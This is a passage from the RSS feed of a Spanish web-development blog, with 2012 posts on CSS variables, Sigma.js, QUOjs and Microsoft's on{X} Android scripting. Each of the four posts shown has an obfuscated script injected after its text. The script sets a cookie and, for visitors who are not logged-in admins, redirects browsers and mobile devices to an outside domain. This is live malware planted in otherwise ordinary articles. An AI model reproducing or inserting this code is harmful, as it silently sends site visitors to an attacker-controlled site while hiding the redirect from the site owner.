  273. <ul><li><a href="https://www.anieto2k.com/2012/06/06/can-js-framework-js-para-enriquecer-tus-aplicaciones-web/" rel="bookmark" title="Permanent Link: Can.js, framework JS para enriquecer tus aplicaciones Web">Can.js, framework JS para enriquecer tus aplicaciones Web</a></li><li><a href="https://www.anieto2k.com/2006/09/06/mootools-en-nuevo-framework-que-se-nos-viene/" rel="bookmark" title="Permanent Link: MooTools, en nuevo framework que se nos viene">MooTools, en nuevo framework que se nos viene</a></li><li><a href="https://www.anieto2k.com/2008/12/06/harmony-framework-acerca-php-a-tu-navegador/" rel="bookmark" title="Permanent Link: Harmony Framework, acerca PHP a tu navegador">Harmony Framework, acerca PHP a tu navegador</a></li><li><a href="https://www.anieto2k.com/2009/03/12/orientacion-a-clases-para-jquery/" rel="bookmark" title="Permanent Link: Orientación a Clases para jQuery">Orientación a Clases para jQuery</a></li><li><a href="https://www.anieto2k.com/2007/09/23/programacion-orientada-a-objetos-poo-en-javascript/" rel="bookmark" title="Permanent Link: Programación Orientada a Objetos (POO) en Javascript">Programación Orientada a Objetos (POO) en Javascript</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  274. <wfw:commentRss>https://www.anieto2k.com/2012/06/26/stackjs-framework-js-para-que-la-orientacion-a-objetos-sea-mas-facil/feed/</wfw:commentRss>
  275. <slash:comments>3</slash:comments>
  276. </item>
  277. <item>
  278. <title>Variables CSS, ¿como está el tema?</title>
  279. <link>https://www.anieto2k.com/2012/06/18/variables-css-como-esta-el-tema/</link>
  280. <comments>https://www.anieto2k.com/2012/06/18/variables-css-como-esta-el-tema/#comments</comments>
  281. <pubDate>Mon, 18 Jun 2012 10:32:04 +0000</pubDate>
  282. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  283. <category><![CDATA[CSS]]></category>
  284. <category><![CDATA[estandares]]></category>
  285. <category><![CDATA[Programacion]]></category>
  286. <category><![CDATA[webdev]]></category>
  287.  
  288. <guid isPermaLink="false">https://www.anieto2k.com/?p=10517</guid>
  289. <description><![CDATA[Hace ya 4 años que se vienen hablando de la inclusión de variables en nuestros CSS, pero el tema parece que está bastante parado. Al parecer la W3C en abril publicó un borrador en el que introducia una propuesta de como deberían funcionar las estas variables en nuestros CSS's. // Definición :root { var-my-color: #fad; [&#8230;]]]></description>
  290. <content:encoded><![CDATA[<a href="https://www.anieto2k.com/2008/06/23/webkit-soporta-variables-css/">Hace ya 4 años que se vienen hablando de la inclusión de variables en nuestros CSS</a>, pero el tema parece que está bastante parado. Al parecer l<a href="http://www.w3.org/TR/css-variables/">a W3C en abril publicó un borrador</a> en el que introducia una propuesta de como deberían funcionar las estas variables en nuestros CSS's.
  291. <pre><code>
  292. // Definición
  293. :root {
  294.  var-my-color: #fad;
  295. }
  296.  
  297. // Uso
  298. .thing {
  299.  color: var(my-color);
  300. }
  301. </code></pre>
  302. Desde <strong>WebKit</strong> hace ya tiempo que podemos usarlas usando el prefijo (<code>-webkit-</code>).
  303. <pre><code>
  304. // Definición
  305. :root {
  306.  -webkit-var-my-color: #fad;
  307. }
  308.  
  309. // Uso
  310. .thing {
  311.  color: -webkit-var(my-color);
  312. }
  313.  
  314. </code></pre>
  315. Este mes de Junio,<a href="http://dev.w3.org/csswg/css-variables/"> la W3C se marca un nuevo borrador</a> en el que prescinde de la función var() cambiándola por $ para llamar a nuestra variable.
  316. <pre><code>
  317. // Definición
  318. :root {
  319.  var-my-color: #fad;
  320. }
  321.  
  322. // Uso
  323. .thing {
  324.  color: $my-color;
  325. }
  326. </code></pre>
  327. Vamos, que la capacidad de que nuestros CSS's dispongan de variables está más o menos igual que siempre y no parece que se vaya a solventar en un futuro cercano, por el momento deberemos seguir usando herramientas como <a href="https://www.anieto2k.com/2012/05/15/less-js-css-enriquecido-en-el-cliente/">LESS.js</a> o <a href="https://www.anieto2k.com/2012/05/15/less-js-css-enriquecido-en-el-cliente/">SASS </a>para disponer de esta capacidad y alguna más.
  328.  
  329. <a href="http://www.phpied.com/css-variables/">Via</a><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  330. <ul><li><a href="https://www.anieto2k.com/2008/06/23/webkit-soporta-variables-css/" rel="bookmark" title="Permanent Link: Webkit soporta variables CSS">Webkit soporta variables CSS</a></li><li><a href="https://www.anieto2k.com/2008/07/28/5-reglas-para-darle-nombre-a-tus-variables/" rel="bookmark" title="Permanent Link: 5 reglas para darle nombre a tus variables">5 reglas para darle nombre a tus variables</a></li><li><a href="https://www.anieto2k.com/2007/08/31/excentricidades-de-un-desarrollador/" rel="bookmark" title="Permanent Link: Excentricidades de un desarrollador">Excentricidades de un desarrollador</a></li><li><a href="https://www.anieto2k.com/2006/06/22/%c2%bfcomo-usar-spyntpl/" rel="bookmark" title="Permanent Link: ¿Como usar SpynTPL?">¿Como usar SpynTPL?</a></li><li><a href="https://www.anieto2k.com/2005/12/31/los-4400/" rel="bookmark" title="Permanent Link: Los 4400">Los 4400</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  331. <wfw:commentRss>https://www.anieto2k.com/2012/06/18/variables-css-como-esta-el-tema/feed/</wfw:commentRss>
  332. <slash:comments>1</slash:comments>
  333. </item>
  334. <item>
  335. <title>Sigma.js, dibuja gráficas usando canvas desde javascript</title>
  336. <link>https://www.anieto2k.com/2012/06/14/sigma-js-dibuja-graficas-usando-canvas-desde-javascript/</link>
  337. <comments>https://www.anieto2k.com/2012/06/14/sigma-js-dibuja-graficas-usando-canvas-desde-javascript/#comments</comments>
  338. <pubDate>Thu, 14 Jun 2012 12:46:44 +0000</pubDate>
  339. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  340. <category><![CDATA[javascript]]></category>
  341. <category><![CDATA[Programacion]]></category>
  342. <category><![CDATA[webdev]]></category>
  343.  
  344. <guid isPermaLink="false">https://www.anieto2k.com/?p=10511</guid>
  345. <description><![CDATA[El uso de canvas de HTML5 está dando lugar a herramientas tan interesantes y sorprendente como Sigma.js, una librería que permite generar gráficas dinámicas directamente desde javascript. (Ver Imagen) Entre las características que hacen de Sigma.js una librería interesante están: La capacidad de encadenar métodos Gestión de eventos personalizados Posibilidad de añadir plugins, usar ficheros [&#8230;]]]></description>
  346. <content:encoded><![CDATA[El <a href="https://www.anieto2k.com/2010/03/22/flash-vs-html5-pongamoslos-a-prueba/">uso de canvas de HTML5</a> está dando lugar a herramientas tan interesantes y sorprendente como <a href="https://github.com/jacomyal/sigma.js">Sigma.js</a>, una librería que permite generar gráficas dinámicas directamente desde javascript.
  347.  
  348. <p class="center"><a rel="lightbox" href="https://www.anieto2k.com/wp-content/uploads/2012/06/sigma.png"><img src="https://www.anieto2k.com/wp-content/uploads/2012/06/sigma-600x258.png" alt="sigma"/></a><br /><a href="https://www.anieto2k.com/wp-content/uploads/2012/06/sigma.png"><small>(Ver Imagen)</small></a></p>
  349.  
  350. Entre las características que hacen de Sigma.js una librería interesante están:
  351. <ul>
  352. <li>La capacidad de encadenar métodos</li>
  353. <li>Gestión de eventos personalizados</li>
  354. <li>Posibilidad de añadir plugins, usar ficheros GEXF, algoritmos ForceAtlas2,...</li>
  355. <li>Api sencilla y accesible</li>
  356. <li>Pintado personalizado del mantenimiento del gráfico</li>
  357. <li>Insercción mediante frames</li>
  358. </ul>
  359.  
  360. <h3>Como usarlo</h3>
  361. Primero deberemos inicializar el objeto sigma con el contenedor DOM donde incluiremos nuestro gráfico.
  362. <pre><code>
  363. var sigInst = sigma.init(domElement);
  364. </code></pre>
  365. El objeto resultante, nos permitirá comenzar a trabajar con el gráfico:
  366. <pre><code>
  367. sigInst.addNode('hello',{
  368.  'label': 'Hello'
  369. }).addNode('world',{
  370.  'label': 'World!'
  371. }).addEdge('hello','world');
  372. </code></pre>
  373.  
  374. Los <a href="http://sigmajs.org/examples.html">ejemplos </a>pueden ayudar a ofrecer una idea más clara de las capacidades de la librería. Descargar.
  375. <script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  376. <ul><li><a href="https://www.anieto2k.com/2007/08/08/canvas-3d-graficas-3d-basadas-en-canvas-y-javascript/" rel="bookmark" title="Permanent Link: Canvas 3D, gráficas 3D basadas en Canvas y Javascript">Canvas 3D, gráficas 3D basadas en Canvas y Javascript</a></li><li><a href="https://www.anieto2k.com/2008/10/27/bomomo-dibuja-con-canvas/" rel="bookmark" title="Permanent Link: Bomomo, dibuja con Canvas">Bomomo, dibuja con Canvas</a></li><li><a href="https://www.anieto2k.com/2007/12/07/crea-graficas-con-javascript/" rel="bookmark" title="Permanent Link: Crea gráficas con Javascript">Crea gráficas con Javascript</a></li><li><a href="https://www.anieto2k.com/2009/07/07/jquery-visualize-graficas-con-canvas-y-javascript/" rel="bookmark" title="Permanent Link: jQuery Visualize, gráficas con canvas y Javascript">jQuery Visualize, gráficas con canvas y Javascript</a></li><li><a href="https://www.anieto2k.com/2006/06/01/canvas-para-wordpress-disponible/" rel="bookmark" title="Permanent Link: Canvas para WordPress, disponible">Canvas para WordPress, disponible</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  377. <wfw:commentRss>https://www.anieto2k.com/2012/06/14/sigma-js-dibuja-graficas-usando-canvas-desde-javascript/feed/</wfw:commentRss>
  378. <slash:comments>3</slash:comments>
  379. </item>
  380. <item>
  381. <title>QUOjs, micro librería javascript para simplificar tus proyecto móviles</title>
  382. <link>https://www.anieto2k.com/2012/06/07/quojs-micro-libreria-javascript-para-simplificar-tus-proyecto-moviles/</link>
  383. <comments>https://www.anieto2k.com/2012/06/07/quojs-micro-libreria-javascript-para-simplificar-tus-proyecto-moviles/#comments</comments>
  384. <pubDate>Thu, 07 Jun 2012 14:17:16 +0000</pubDate>
  385. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  386. <category><![CDATA[Asides]]></category>
  387. <category><![CDATA[Movil]]></category>
  388. <category><![CDATA[Programacion]]></category>
  389. <category><![CDATA[webdev]]></category>
  390.  
  391. <guid isPermaLink="false">https://www.anieto2k.com/?p=10507</guid>
  392. <description><![CDATA[Está claro que el peso y las funcionalidades de las principales librerías javascript (jQuery, MooTools, Prototype,...) no están actualmente alineadas a las necesidades de una aplicación móvil, de ahí que no paren de salir versiones minificadas y/concentradas con funcionalidades más específicas y focalizadas a esa franja de dispositivos. QUOjs es una más, interesante por la [&#8230;]]]></description>
  393. <content:encoded><![CDATA[Está claro que el peso y las funcionalidades de las principales librerías javascript (jQuery, MooTools, Prototype,...) no están actualmente<a href="https://www.anieto2k.com/2009/03/06/el-contenido-de-tu-wordpress-deberia-ser-movil/"> alineadas a las necesidades de una aplicación móvil</a>, de ahí que no paren de salir versiones minificadas y/concentradas con funcionalidades más específicas y focalizadas a esa franja de dispositivos. <a href="http://quojs.tapquo.com/">QUOjs</a> es una más, interesante por la facilidad con la que puedes gestionar los eventos más comunes realizados con los dedos sobre páginas web y por su peso, <strong>13kb</strong>.[<a href="https://github.com/downloads/soyjavi/QuoJS/QuoJS-2.0.js.zip">Descargar</a>]<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
  394. <ul><li><a href="https://www.anieto2k.com/2006/03/02/otra-libreria-para-trabajar-con-ajax/" rel="bookmark" title="Permanent Link: Otra librería para trabajar con Ajax">Otra librería para trabajar con Ajax</a></li><li><a href="https://www.anieto2k.com/2008/07/17/javascript-micro-templating/" rel="bookmark" title="Permanent Link: JavaScript Micro-Templating">JavaScript Micro-Templating</a></li><li><a href="https://www.anieto2k.com/2006/02/21/tinyajax-otra-libreria-php-para-ajax/" rel="bookmark" title="Permanent Link: TinyAjax, otra librería PHP para Ajax">TinyAjax, otra librería PHP para Ajax</a></li><li><a href="https://www.anieto2k.com/2010/10/13/gury-libreria-para-ayudarnos-con-html5-canvas/" rel="bookmark" title="Permanent Link: Gury, librería para ayudarnos con HTML5 Canvas">Gury, librería para ayudarnos con HTML5 Canvas</a></li><li><a href="https://www.anieto2k.com/2006/06/21/flash-vs-ajax/" rel="bookmark" title="Permanent Link: Flash VS Ajax">Flash VS Ajax</a></li></ul><p><a href="https://www.anieto2k.com" id="69.163.216.126"><img rel="69.163.216.126" src="https://www.anieto2k.com/favicon.ico" alt="aNieto2k" /></a></p>]]></content:encoded>
  395. <wfw:commentRss>https://www.anieto2k.com/2012/06/07/quojs-micro-libreria-javascript-para-simplificar-tus-proyecto-moviles/feed/</wfw:commentRss>
  396. <slash:comments>1</slash:comments>
  397. </item>
  398. <item>
  399. <title>on{X} , extiende las capacidades de tu Android con Javascript</title>
  400. <link>https://www.anieto2k.com/2012/06/07/onx-extiende-las-capacidades-de-tu-android-con-javascript/</link>
  401. <comments>https://www.anieto2k.com/2012/06/07/onx-extiende-las-capacidades-de-tu-android-con-javascript/#comments</comments>
  402. <pubDate>Thu, 07 Jun 2012 10:00:03 +0000</pubDate>
  403. <dc:creator><![CDATA[aNieto2k]]></dc:creator>
  404. <category><![CDATA[android]]></category>
  405. <category><![CDATA[javascript]]></category>
  406. <category><![CDATA[Programacion]]></category>
  407. <category><![CDATA[webdev]]></category>
  408.  
  409. <guid isPermaLink="false">https://www.anieto2k.com/?p=10500</guid>
  410. <description><![CDATA[Microsoft, si Microsoft, ha desarrollado una interesante idea con la que nos permite extender las capacidades de nuestro Android mediante una API Javascript. Como se de una gestión de eventos básica se tratara on{X} nos permite definir funcionalidades interesante cuando estos eventos se cumplan. Hola Mundo // Cuando desbloquee el móvil device. screen.on("unlock", function(){ // [&#8230;]]]></description>
  411. <content:encoded><![CDATA[Microsoft, si Microsoft, ha desarrollado una interesante idea con la que nos permite extender las capacidades de nuestro Android mediante una API Javascript.
  412.  
  413. Como se de una <a href="https://www.anieto2k.com/2006/10/16/gestion-de-eventos-en-javascript/">gestión de eventos</a> básica se tratara <a href="https://www.onx.ms/">on{X}</a> nos permite definir funcionalidades interesante cuando estos eventos se cumplan.
  414.  
  415. <h3>Hola Mundo</h3>
  416.  
  417. <pre><code>// Cuando desbloquee el móvil
  418. device. screen.on("unlock", function(){
  419.     // Muestra el mensaje "Hello world!"
  420.     var notification = device.notifications.createNotification('Hello world!');
  421.     notification.show();
  422.     console.log('Hello World notification was sent to the phone');
  423. });
  424. </code></pre>
  425.  
  426. <strong>On{X}</strong> está compuesto de <a href="http://aka.ms/onxapp">una aplicación para Android</a> que debes instalar en tu dispositivo móvil y una aplicación web en la que al entrar con login de Facebook podrás ver un listado de recipientes con tus controles definidos, estos controles están continuamente sincronizados entre el móvil y la aplicación así que es posible realizar cambios y verlos en vivo directamente en tu móvil.
  427.  
  428. Para desarrollar tus propios recipientes dispones de un editor online que automáticamente almacenará el código y lo compartirá con tu dispositivo móvil.
  429.  
  430. De esta forma, planificarte tareas como "<em>Enviar un mail a tu mujer diciéndole que estás en el supermecado y si tienes que comprar algo concreto es el momento, automáticamente cuando entras al supermercado</em>" es posible, sencillo y lo que a mi me gusta más, <a href="https://www.onx.ms/#apiPage">te lo puedes programar tu mismo</a>!
  431.  
  432. <h3>Ejemplos</h3>
  433.  
  434. <h4>Avisame si he de coger un paraguas en el primer desbloqueo del móvil de cada mañana si el tiempo dice que va a llover.</h4>
  435.  
  436. <pre><code>
  437. // Inicializamos variables
  438.  
  439. var reminder = "take an umbrella";
  440. var weatherCondition = "rainy";
  441.  
  442. console.log('Started script: Remind me to ' + reminder + ' every day the first time I unlock my phone, if it is going to be ' + weatherCondition);
  443.  
  444. device.screen.on('unlock', function () {
  445. console.info('device unlocked');
  446. var lastDateScreenUnlocked = device.localStorage.getItem('lastDateScreenUnlocked');
  447. var today = new Date().toLocaleDateString();
  448.  
  449. // Si es el primer desbloqueo
  450. if (!lastDateScreenUnlocked || lastDateScreenUnlocked !== today) {
  451. // Coger posición actual
  452. var locationListener = device.location.createListener('CELL', 2);
  453. locationListener.on('changed', function(locSignal) {
  454. locationListener.stop();
  455.  
  456. // Carga el tiempo en función de la posición
  457. feeds.weather.get(
  458. {
  459. location: locSignal.location.latitude + ',' + locSignal.location.longitude,
  460. time: 0    
  461. },
  462. function onSuccess(weather, textStatus, response) {
  463. console.info('Got the weather forecast for today:', JSON.stringify(weather.forecasts[0]));
  464.  
  465. // Compruemas las condiciones atmosféricas
  466. var forecast = weather.forecasts[0];
  467.  
  468. if ((weatherCondition === 'rainy' && (forecast.rain > 50 || forecast.sky.toLowerCase() === 'rain')) ||      // Llueve
  469. (weatherCondition === 'sunny' && forecast.sky.toLowerCase() === 'clear') ||                                               // Soleada
  470. (weatherCondition === 'windy' && forecast.wind.speed  >= 20 && forecast.wind.speed < = 30)) {  // Viento
  471. // Creamos la notificación
  472. var notification = device.notifications.createNotification(reminder);
  473. notification.on('click', function () {
  474. device.browser.launch(weather.forecastUrl);
  475. });
  476. // Mostramos el mensaje
  477. notification.show();
  478. } else {
  479. console.info('weather is not ' + weatherCondition );
  480. }
  481. },
  482. function onError(response, textStatus) {
  483. console.error('Failed to get weather: ', textStatus);
  484. });
  485. });
  486.  
  487. locationListener.start();
  488.  
  489. // Actualizamos el tiempo desde la última notificación
  490. device.localStorage.setItem('lastDateScreenUnlocked', today);
  491. console.info('Stored the last time the screen was unlocked: ', today);
  492. }
  493. });
  494. console.log('Completed script: Remind me to ' + reminder + ' every day the first time I unlock my phone, if it is going to be ' + weatherCondition);
  495. </code></code></pre>
  496.  
  497. <a href="https://www.onx.ms/#recipesPage">Más ejemplos</a><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script><h3>Artículos relacionados</h3>
